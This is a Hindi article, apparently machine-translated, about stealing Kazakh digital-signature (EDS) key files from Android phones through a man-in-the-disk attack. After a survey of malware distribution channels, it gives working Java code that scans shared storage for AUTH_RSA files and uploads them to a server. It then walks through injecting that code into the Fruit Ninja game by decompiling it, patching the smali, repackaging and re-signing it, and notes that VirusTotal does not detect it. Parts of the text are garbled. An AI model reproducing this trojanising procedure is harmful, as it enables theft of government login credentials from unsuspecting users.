🌛 💦 🤷🏽 मैन-इन-डिस्क का उपयोग कर ईडीएस चोरी 🙂 💍 🗳️

कजाखस्तान के मोबाइल एप्लिकेशन mEGOV और UAPF प्राधिकरण के तरीकों में से एक के रूप में डिजिटल हस्ताक्षर का उपयोग करते हैं। इस तरह से लॉग इन करने के लिए, आपको फ़ाइल को डिजिटल हस्ताक्षर से फ़ोन पर स्थानांतरित करना होगा। यह प्राधिकरण विधि एक मैन-इन-द-डिस्क हमले के लिए असुरक्षित है (नीचे विवरण में इसके बारे में अधिक)। किसी हमले का शिकार बनने के लिए, आपको बस अपना कोई पसंदीदा एप्लिकेशन इंस्टॉल करना होगा, जिसे एक हमलावर ने गुप्त रूप से संशोधित किया था। मैं प्रदर्शित करता हूं कि यह कैसे किया जा सकता है। सबसे पहले, पता करें कि उपयोगकर्ता को ऐसे एप्लिकेशन कैसे मिल सकते हैं।

फोन पर कितने दुर्भावनापूर्ण एप्लिकेशन मिलते हैं

चीन, ईरान आदि के स्थानीय अनुप्रयोग बाजार।

उदाहरण: Cafebazaar.ir, android.myapp.com, apkplz.net

ये साइटें Google सेवाओं और / या आधिकारिक अनुप्रयोगों के सर्वरों के सेंसरशिप और अवरुद्ध होने के कारण दिखाई दीं। आमतौर पर वे लोकप्रिय अनुप्रयोगों और उनके संशोधनों के स्थानीय एनालॉग होते हैं। इस तरह के संशोधनों ( इस ईरानी टेलीग्राम की तरह) में निश्चित रूप से नई, शांत विशेषताएं हैं। ऐसे आवेदनों का क्या खतरा है? आप कभी नहीं जानते कि वे वास्तव में क्या करते हैं। इसके अलावा, कुछ सरकारें अवसर को याद नहीं करती हैं और अपने संशोधनों को प्रकाशित करती हैं, उपयोगकर्ता को ट्रैक करने के लिए उपकरण के साथ। सरकारी जासूसी ऐप्स परिभाषा के हिसाब से दुर्भावनापूर्ण हैं। एक बार, मैंने एक दुर्भावनापूर्ण एप्लिकेशन ( Virustotal परिणाम , यहां नमूना, पासवर्ड: संक्रमित) का अध्ययन किया, जिसने टेलीग्राम क्लोन के लिए फोन को स्कैन किया:

"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"

यह सूची ऐसे अनुप्रयोगों की वास्तविक प्रासंगिकता और लोकप्रियता को इंगित करती है। इस मैलवेयर पर शोध करने से मुझे एक लेख मिला है जो ईरानी सरकार द्वारा कैफ़ेबोर मार्केट के माध्यम से वितरित टेलीग्राम क्लोन के बारे में बात करता है। वहां से बोली:

यह ईरानी सरकार की विशिष्टताओं के लिए विकसित किया गया है, जो उन्हें ऐप के उपयोगकर्ताओं द्वारा हर बिट और बाइट को ट्रैक करने में सक्षम बनाता है।

आप कितने टेलीग्राम क्लोन देखते हैं?: ( स्रोत )

सामान्य उपयोगकर्ताओं के लिए खुद को इससे बचाना लगभग असंभव है, क्योंकि कोई अन्य विकल्प नहीं है - आधिकारिक स्रोतों को तीव्रता से अवरुद्ध किया जा रहा है, और अपने स्वयं के प्रचार किया जा रहा है। दुनिया भर के शोधकर्ता और एंटीवायरस कंपनियां संक्रमित अनुप्रयोगों की पहचान करने के बाद, जल्दी से Google को इसकी सूचना देती हैं और उन्हें Play Market से हटा दिया जाता है, जो स्पष्ट रूप से, तृतीय-पक्ष एप्लिकेशन बाजारों पर लागू नहीं होता है। साथ ही, होस्ट किए गए एप्लिकेशन के प्रवेश के बारे में Google की नीति उन पर लागू नहीं होती है।

कुछ बाजार बहुत लोकप्रिय हैं, जैसे कि Tencent माई ऐप , प्रति माह 260 मिलियन उपयोगकर्ताओं के साथ ( स्रोत )

एक ही क्षेत्र / देश के भीतर उपयोग किए जाने वाले स्थानीय अनुप्रयोग अक्सर विज्ञापन ट्रैकिंग, सामाजिक एकीकरण के लिए एक ही एसडीके (पुस्तकालयों के सेट) का उपयोग करते हैं। नेटवर्क, आदि ... यदि एक ही लाइब्रेरी का उपयोग कई अनुप्रयोगों में किया जाता है, तो उच्च संभावना के साथ, इनमें से कुछ एप्लिकेशन एक उपयोगकर्ता पर इंस्टॉल किए जा सकते हैं। इस तरह के पुस्तकालय विभिन्न अनुप्रयोगों की क्षमताओं का उपयोग कर सकते हैं जिसमें वे उपयोगकर्ता अनुमतियाँ चोरी करने के लिए अंतर्निहित अनुमतियों को दरकिनार करते हैं। उदाहरण के लिए, एक एप्लिकेशन को IMEI प्राप्त करने की पहुंच है, लेकिन इंटरनेट तक पहुंच नहीं है। अंतर्निहित लाइब्रेरी इस बारे में जानती है और इसलिए IMEI को पढ़ती है और इसे एक छिपे हुए फ़ोल्डर में SD कार्ड पर सहेजती है। उसी लाइब्रेरी को एक अन्य एप्लिकेशन में बनाया गया है जिसमें इंटरनेट एक्सेस है लेकिन IMEI तक कोई पहुंच नहीं है, इसे एक छिपे हुए फ़ोल्डर से पढ़ता है और इसे अपने सर्वर पर भेजता है। इस पद्धति का उपयोग दो चीनी कंपनियों Baidu और सामनैड्स द्वारा किया गया था। आप इसके बारे में और अधिक यहाँ पढ़ सकते हैं।

फ़िशिंग

शास्त्रीय फ़िशिंग अंतर्राष्ट्रीय समूहों और विभिन्न देशों की विशेष सेवाओं का मुख्य उपकरण है। जैसा कि अक्सर होता है, एक नियमित मैसेंजर एप्लिकेशन लिया जाता है, ट्रैकिंग के लिए कार्यक्षमता इसमें जोड़ी जाती है, और फिर इसे बड़े पैमाने पर वितरित किया जाता है, "देखो, संचार के लिए एक अच्छा अनुप्रयोग।" उपयोगकर्ताओं को वितरण सामाजिक के माध्यम से किया जा सकता है। नेटवर्क, स्पैम व्हाट्सएप / टेलीग्राम, साइटों पर अंतर्निहित विज्ञापन आदि।

स्रोत, पी। 19।

फ़िशिंग लिंक, फेसबुक पर पोस्ट के रूप में:

स्रोत, पी। 22

एक प्रसिद्ध साइट पर पॉपअप

स्रोत

टेलीग्राम बॉट / समूह

उदाहरण: @apkdl_bot, t.me/fun_android

एपीके फाइलों को डाउनलोड करने के लिए टेलीग्राम बॉट हैं। एक वैध आवेदन के बजाय, वे आप में मैलवेयर खिसका सकते हैं। या मक्खी पर अपने अनुरोधित आवेदन को संक्रमित करें। यह इस तरह से काम करता है - आप बॉट / ग्रुप कमांड दर्ज करते हैं जिसे आप "इंस्टाग्राम" डाउनलोड करना चाहते हैं, दूसरी तरफ स्क्रिप्ट इसे Google Play से डाउनलोड करता है, अनपैक करता है, दुर्भावनापूर्ण कोड जोड़ता है, इसे वापस पैक करता है और इसे आपको वापस कर देता है। यह स्वचालित रूप से कैसे किया जाता है, मैं निकट भविष्य में एक उदाहरण दिखाने की कोशिश करूंगा।

तृतीय पक्ष मध्यस्थता स्थल

उदाहरण: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/

Android एप्लिकेशन डाउनलोड करने के लिए बड़ी संख्या में अनौपचारिक साइटें हैं। उनमें से कुछ आपके एप्लिकेशन को डाउनलोड करने की क्षमता प्रदान करते हैं, जो दुर्भावनापूर्ण हो सकता है। इस साइट पर उदाहरण डाउनलोड करें :

मालवरी का एक उदाहरण जिसने इस तरह फैलाया है ( स्रोत ):

अनौपचारिक स्रोतों के लिए नमूना आँकड़े एंड्रॉइड सिक्योरिटी रिपोर्ट 2018 में पाए जा सकते हैं - 1.6 बिलियन ने Google Play प्रोटेक्ट इंस्टॉलेशन को Google Play से अवरुद्ध नहीं किया। बहुत अधिक स्थापनाएँ हुईं।
कुछ भी लेख लिखते हैं कि तीसरे पक्ष के बाजारों का उपयोग करना कितना अच्छा है।
एक अलग पूरी दुनिया उन साइटों से बनी है जो विज्ञापनों के बिना आवेदन वितरित करती हैं, मुफ्त में भुगतान किए गए एप्लिकेशन हैक करती हैं, अतिरिक्त कार्यक्षमता वाले एप्लिकेशन:

गूगल प्ले

आधिकारिक स्रोत में Google Play Protect नामक संदिग्ध एप्लिकेशन के खिलाफ सुरक्षा है, जो मैलवेयर की डिग्री निर्धारित करने के लिए मशीन लर्निंग का उपयोग करता है। लेकिन इस तरह की सुरक्षा सही ढंग से समझ नहीं पा रही है कि कौन सा आवेदन दुर्भावनापूर्ण है और कौन सा नहीं है, क्योंकि इसके लिए एक पूर्ण मैनुअल जांच की आवश्यकता होती है। एक जासूस ऐप में क्या अंतर है जो आपके सभी आंदोलनों और एक रनिंग ऐप पर नज़र रखता है? शोधकर्ता लगातार Google Play पर प्रकाशित सैकड़ों संक्रमित एप्लिकेशन ढूंढते हैं।

आमतौर पर एक दुर्भावनापूर्ण एप्लिकेशन स्वयं को Google Play सेवाएं या इसी तरह से कॉल करता है, और एक समान आइकन डालता है । यह उपयोगकर्ताओं को भ्रमित कर रहा है। क्यों Google Play अपने आधिकारिक अनुप्रयोगों के साथ समानता के लिए आइकन की जांच नहीं करता है। एक बार टेलीग्राम में, मैंने एक पेपर हवाई जहाज के साथ एक अवतार रखा और उन्होंने मुझे अवरुद्ध कर दिया। दुर्भावनापूर्ण एप्लिकेशन द्वारा उपयोग की जाने वाली एक और विधि आधिकारिक आवेदन के समान नाम बनाने के लिए "I" के साथ "L" को "I", "g" के साथ बदलना है:

स्रोत ।

अन्य तरीके

फोन मरम्मत सेवाओं में
सीमा पार करते समय
डीबगिंग सक्षम होने के साथ USB के माध्यम से एक अपरिचित कंप्यूटर से कनेक्ट करें।
एक हमलावर आपके Google खाते तक पहुंच प्राप्त कर रहा है, और Google Play के माध्यम से आपके फोन पर एप्लिकेशन इंस्टॉल कर रहा है।
पूर्वस्थापित आवेदन
कोर्ट के आदेश से और बिना पुलिस या विशेष सेवाओं द्वारा
पानी के छेद पर हमला
आप एक मित्र से मिलने आए और उसके टीवी ने आपके फोन को संक्रमित कर दिया

फायर टीवी उपकरणों पर दिखने वाला विशेष संस्करण खुद को "टेस्ट" नामक एक ऐप के रूप में स्थापित करता है, जिसका पैकेज नाम "com.google.time.timign" है। एक बार जब यह एक एंड्रॉइड डिवाइस को संक्रमित करता है, तो यह डिवाइस के संसाधनों का उपयोग क्रिप्टोकरेंसी को माइन करने के लिए शुरू करता है और उसी नेटवर्क पर अन्य एंड्रॉइड डिवाइसों में खुद को फैलाने का प्रयास करता है।

कैसे हमलावर Android अनुप्रयोगों को संक्रमित करते हैं

अब हम समझते हैं कि एक दुर्भावनापूर्ण एप्लिकेशन आपके फ़ोन पर कैसे प्राप्त कर सकता है। इसके बाद, यह प्रदर्शित किया जाएगा कि कोई हमलावर किसी भी Android एप्लिकेशन को कैसे संशोधित कर सकता है। लोकप्रिय गेम फ्रूट निंजा में कोड के कार्यान्वयन के साथ एक उदाहरण का उपयोग किया जाएगा। कोड फोन की मेमोरी को स्कैन करता है, ईडीएस के साथ एक फ़ाइल की खोज करता है और इसे सर्वर को भेजता है (रूट स्वाभाविक रूप से आवश्यक नहीं है)।

मैन-इन-द-डिस्क क्या है?

जनता ने इस लेख के बाद, हमले के इस वेक्टर पर ध्यान आकर्षित किया। मैं आपको इसे पहले पढ़ने की सलाह देता हूं।

जो लोग पढ़ चुके हैं, उनके लिए मैं स्वयं को जोड़ूंगा - अन्य अनुप्रयोगों की साझा फ़ाइलों को संशोधित करने से पुस्तकालयों में कमजोरियों का शोषण भी हो सकता है जो इन फ़ाइलों का उपयोग करते हैं

जो नहीं पढ़ा, मैं संक्षेप में बताऊंगा। शुरू करने के लिए, आइए अवधारणाओं को परिभाषित करते हैं। Android में, अनुप्रयोगों के लिए मेमोरी को इंटरनल स्टोरेज और एक्सटर्नल स्टोरेज में विभाजित किया गया है। आंतरिक भंडारण एप्लिकेशन की आंतरिक मेमोरी है, केवल उसके लिए और किसी और के लिए सुलभ नहीं है। फोन पर प्रत्येक एप्लिकेशन एक अलग उपयोगकर्ता और केवल इस उपयोगकर्ता के अधिकारों के साथ एक अलग फ़ोल्डर से मेल खाती है। यह एक महान रक्षा तंत्र है। बाहरी भंडारण - फोन की मुख्य मेमोरी, सभी अनुप्रयोगों के लिए सुलभ (इसमें एसडी कार्ड भी शामिल है)। इसकी आवश्यकता क्यों है? फोटो एडिटर एप्लिकेशन लें। संपादन के बाद, आपको फ़ोटो को सहेजना होगा ताकि यह गैलरी से सुलभ हो। स्वाभाविक रूप से, यदि आप इसे आंतरिक भंडारण में रखते हैं, तो यह आपके आवेदन के अलावा किसी के लिए भी उपलब्ध नहीं होगा। या एक ब्राउज़र जो डाउनलोड की गई फ़ोल्डर में सभी फ़ाइलों को डाउनलोड करता है।

प्रत्येक Android एप्लिकेशन में अनुमतियों का अपना सेट होता है जिसे वह अनुरोध करता है। लेकिन यह उनके साथ इतना अच्छा नहीं है। उनमें से वे हैं जो लोग स्वेच्छा से अपनी आँखें बंद करते हैं और गंभीरता से नहीं लेते हैं। उनमें से READ_EXTERNAL_STORAGE है। यह एप्लिकेशन को फोन की मुख्य मेमोरी तक पहुंचने की अनुमति देता है, और इसलिए अन्य एप्लिकेशनों के सभी डेटा के लिए। आखिरकार, कोई भी आश्चर्यचकित नहीं होगा अगर नोटबुक आवेदन इस अनुमति के लिए कहता है। उसके लिए सेटिंग्स और कैश को वहां स्टोर करना आवश्यक हो सकता है। बाहरी भंडारण में अन्य अनुप्रयोगों से डेटा को हेरफेर करना मैन-इन-द-डिस्क हमला है। एक और, लगभग डिफ़ॉल्ट रूप से, संकल्प इंटरनेट है। जैसा कि नाम से ही स्पष्ट है, यह एप्लिकेशन को नेटवर्क तक पहुंच प्रदान करने की अनुमति देता है। सबसे दुखद बात यह है कि उपयोगकर्ता को एक विशेष विंडो नहीं दिखाई जाती है जो उसे यह अनुमति देने के लिए कहती है। आप इसे केवल अपने आवेदन में लिखते हैं और वे आपको देते हैं।

मैंने शीर्ष 15 कजाकिस्तान के एप्लिकेशन डाउनलोड किए और एक स्क्रिप्ट लिखी जो अनुरोधित अनुमतियों पर आंकड़े प्रदर्शित करती है। जैसा कि आप देख सकते हैं, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE और INTERNET बहुत लोकप्रिय हैं। इसका मतलब है कि हमलावर कम से कम कोड एम्बेड कर सकते हैं जो अधिकांश अनुप्रयोगों में डिजिटल हस्ताक्षर चोरी करता है।

परीक्षण किए गए अनुप्रयोगों की सूची
2-जीआईएस, अलीएक्सप्रेस, चोकोफूड, क्रोम, इनड्राइवर, इंस्टाग्राम, कास्पी, कोल्सा, क्रेशा, टेलीग्राम, वीके, व्हाट्सएप, यांडेक्स म्यूजिक, यांडेक्स टैक्सी
, जकॉन केजेड

यदि आप व्हाट्सएप को रूट किए गए फोन पर रखते हैं, तो आपके सभी पत्राचार को स्पष्ट पाठ में संग्रहीत किया जाता है। जाहिरा तौर पर व्हाट्सएप ऐसे "भ्रष्ट" फोन पर एन्क्रिप्शन का उपयोग करना भी आवश्यक नहीं समझता है। इसके अलावा, बाहरी भंडारण में, व्हाट्सएप SSLSessionCache (स्थापित SSL सत्रों का फ़ाइल-आधारित कैश) को संग्रहीत करता है। भविष्य में, मैं यह पता लगाने की कोशिश करूंगा कि आप किसी और के फोन से प्राप्त इन फ़ाइलों का उपयोग कैसे कर सकते हैं।

टेलीग्राम और इंस्टाग्राम ने साझा मेमोरी में कैश्ड छवियों को संग्रहीत किया है। आपके द्वारा देखे जाने वाले लगभग सभी फ़ोटो, और जिन्हें आप एक दूसरे को भेजते हैं, वे आपके फ़ोन पर किसी भी एप्लिकेशन के लिए उपलब्ध हैं।

MEGOV और ENPF अनुप्रयोगों के लिए आवश्यक है कि डिजिटल हस्ताक्षर बाहरी संग्रहण में हो:

Google समस्या से अवगत है और Android Q में READ_EXTERNAL_STORAGE बदलने जा रहा है। उद्धरण:

"डाउनलोड" निर्देशिका में फ़ाइलों सहित, किसी अन्य ऐप द्वारा बनाई गई किसी अन्य फ़ाइल तक पहुंचने के लिए, आपके ऐप को स्टोरेज एक्सेस फ्रेमवर्क का उपयोग करना होगा, जो उपयोगकर्ता को एक विशिष्ट फ़ाइल का चयन करने की अनुमति देता है।

पेलोड बनाएं

चलो मुख्य स्कैनर कार्यक्षमता पर चलते हैं। यह तीन मुख्य वर्गों से मिलकर StageAttack : StageAttack , StageAttack , StageAttack ।

StageAttack - एक स्थिर विधि से युक्त होता है जो हमारे हमले को शुरू करता है। हम विशेष रूप से तैयार वर्ग में कार्यान्वयन की सुविधा के लिए एक संक्रमणकालीन स्थिर विधि बनाते हैं।

 public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }

MaliciousService एक ऐसी सेवा है, जो सभी बाहरी स्टोरेज को पुन: खोजती है।

 private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }

यदि ईडीएस नहीं मिला है, तो हम हर 5 सेकंड में खोज को दोहराएंगे जब तक कि हम इसे नहीं ढूंढते। आप किसी भी अंतराल का उपयोग कर सकते हैं। बहुत कम अंतराल पर, हमारी सेवा प्रणाली द्वारा बंद किए जाने का जोखिम उठाती है। Android का संस्करण जितना अधिक होगा, पृष्ठभूमि प्रक्रियाओं के संचालन के बारे में नीति उतनी ही गंभीर होगी। हम फ़ोरग्राउंड सेवा का भी उपयोग नहीं कर सकते, क्योंकि इसके लिए एक अधिसूचना को लगातार लटका रहना चाहिए। एंड्रॉइड डेवलपर नहीं होने के कारण, मैंने एक कार्य को शेड्यूल करने का एक तरीका खोजने के लिए बहुत समय बिताया जो समय पर पूरा हो जाएगा। यह उतना सरल नहीं है जितना लगता है। Android में इसके लिए कई तरीके सुझाए गए हैं (JobService, WorkManager, setRepeating () AlarmManager)। दस्तावेज़ीकरण स्पष्ट रूप से इंगित नहीं करता है कि कार्य का अंतराल कम से कम 15 मिनट होना चाहिए और इसका निष्पादन समय सिस्टम की इच्छा पर निर्भर करता है। यह हमें शोभा नहीं देता है, इसलिए हम AlarmManager वर्ग, setExactAndAllowWhileIdle() विधि का उपयोग करते हैं। जब कार्य पूरा हो जाता है, तो हम इसे फिर से उसी अंतराल के साथ योजना बनाते हैं। यह एकमात्र तरीका है जो वर्तमान में मुझे ज्ञात है जिसमें सबसे अधिक सटीकता है।

 private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }

यदि कोई ईडीएस पाया जाता है, तो हम फाइल को सर्वर पर भेजते हैं:

 private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }

हम पेलोड का परिचय देते हैं

सबसे पहले हम एपीकेटूल का उपयोग करके फ्रूट निंजा को डिकंपाइल करते हैं। हम जावा कोड से पहले आवेदन को विघटित नहीं करते हैं, क्योंकि संशोधन के बाद, हम इसे वापस इकट्ठा नहीं कर पाएंगे। हमें ठीक-ठीक स्माली कक्षाएं लेने की जरूरत है। और हम अपने कोड को smali कोड के रूप में भी लागू करेंगे।

स्मली कोड क्या है?
एंड्रॉइड अनुप्रयोगों को बायटेकोड में संकलित किया जाता है, जिसे डाल्विक वर्चुअल मशीन द्वारा निष्पादित किया जाता है। बाइटकोड को स्वयं पढ़ना कठिन है, इसलिए इसके मानव-पठनीय रूप को स्माली कहा जाता है। smali विधानसभा भाषा का एक एनालॉग है, लेकिन Android के लिए।

इसके अलावा, यदि हम चाहते हैं कि आवेदन शुरू होने पर हमारा पेलोड शुरू हो, तो हमें प्रवेश बिंदु को संशोधित करना चाहिए। किसी भी अनुप्रयोग GUI में प्रवेश बिंदु एक गतिविधि बाल वर्ग है जो ACTION_MAIN लेता है। विघटित एप्लिकेशन के साथ फ़ोल्डर खोलें, और इसे AndroidManifest.xml फ़ाइल में ढूंढें:

 <activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>

हमें com.halfbrick.mortar.MortarGameLauncherActivity क्लास की com.halfbrick.mortar.MortarGameLauncherActivity । इससे पहले कि आप इसका अध्ययन करें, आइए गतिविधि के जीवन चक्र को देखें, यह हमारे लिए उपयोगी होगा।

स्रोत

गतिविधि खोलें, मेरे लिए यह पथ आधार \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali के साथ स्थित है । यदि आपने पहले स्माली कोड नहीं देखा है, तो यह डरावना नहीं है, यह पढ़ने और तार्किक रूप से स्पष्ट करने के लिए पर्याप्त सरल है।

 .class public Lcom/halfbrick/mortar/MortarGameLauncherActivity; //     package .super Landroid/app/Activity; //.super     . // Activity    android.app.Activity. .source "MortarGameLauncherActivity.java" //  Java . .method public constructor <init>()V /*       -   .   ,    .   , V - void */ .locals 0 /*   Dalvik   ,    .    ,      .       .    ,     16, 256  64.       ,  .       .    ,    . .locals 0 - ,    0  .    ,  v0, v1, v2, v3, ...    - p0, p1, p2, p3. */ .line 28 invoke-direct {p0}, Landroid/app/Activity;-><init>()V /* invoke-     . invoke-direct -   ,   . ,     java - private  .    ,       ,   .      . p0 -    this  java. init   ,     . */ return-void //    .end method .method protected onStart()V .locals 2 .line 33 invoke-super {p0}, Landroid/app/Activity;->onStart()V //  onStart()   .line 35 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z /* invoke-virtual -   .     ,     static, private, final  .  MortarGameLauncherActivity    isTaskRoot(),        Activity.   Z - boolean */ move-result v0 /*    isTaskRoot()   v0. isTaskRoot()  true,   Activity  ,      */ if-nez v0, :cond_0 /*  v0 = true,     cond_0 ( goto).  v0 = false,   */ .line 37 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V // finish()  Activity return-void //    .line 41 :cond_0 new-instance v0, Landroid/content/Intent; //   Intent        v0 const-class v1, Lcom/halfbrick/mortar/MortarGameActivity; //    MortarGameActivity   v1. MortarGameActivity    Activity. invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V //    Intent,  ,    .line 42 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V //   Activity .line 43 invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V //  MortarGameActivity return-void .end method

हमें पता चला कि MortarGameLauncherActivity ने MortarGameActivity लॉन्च की और बंद हो गई। MortarGameActivity खोलें। हम इस पर पूरी तरह से टिप्पणी नहीं करेंगे। हम Oncreate विधि में क्या होता है, में रुचि रखते हैं, क्योंकि यह गतिविधि का निर्माण शुरू करता है। इसके तुरंत बाद हम अपना कोड डालेंगे। यह महत्वपूर्ण है कि पेस्ट करते समय रेखा को परेशान न करें।

 .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <--------------------------- //  ,   472 .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...

अब हमें smali पेलोड कोड की आवश्यकता है। हम एपीके और डिकंपाइल में अपना स्कैनर इकट्ठा करते हैं। हम अपने तीन विघटित वर्गों को स्थानांतरित करते हैं, जो पथ कॉम के साथ झूठ बोलते हैं, फ़ोल्डर com / हाफब्रिक / मोर्टार के लिए । पैकेज का नाम सभी वर्गों में बदलें, kz.c.signscan से com.halfbrick.mortar तक ।

यह था:

 .class public Lkz/c/signscan/StageAttack;

यह बन गया:

 .class public Lcom/halfbrick/mortar/StageAttack;

Smali MainActivity class में, MainActivity पेलोड कॉल लाइन लेते हैं:

 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V

और MortarGameActivity में MortarGameActivity । परिणामस्वरूप, onCreate() विधि इस प्रकार दिखाई देती है:

 ... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...

पेलोड में MaliciousTaskManager वर्ग ब्रॉडकास्टसीवर है, और MaliciousService IntentService है, इसलिए हमें उन्हें घोषणापत्र में लिखना होगा।

 ... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...

हम सब कुछ वापस apktool b myfolder साथ पैक करते हैं। परिणामस्वरूप, हमें एपीके फ़ाइल मिलती है। अब हमें इस पर हस्ताक्षर करने की आवश्यकता है ताकि Android हमारे आवेदन को स्वीकार कर ले। सबसे पहले, हम एक कुंजी उत्पन्न करेंगे जिसके साथ हम हस्ताक्षर करेंगे:

 keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

हम apk साइन करते हैं:

 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Virustotal हमें कुछ भी नहीं दिखाएगा, क्योंकि हम कुछ भी "अवैध" नहीं कर रहे हैं। - .

, :

मैन-इन-डिस्क का उपयोग कर ईडीएस चोरी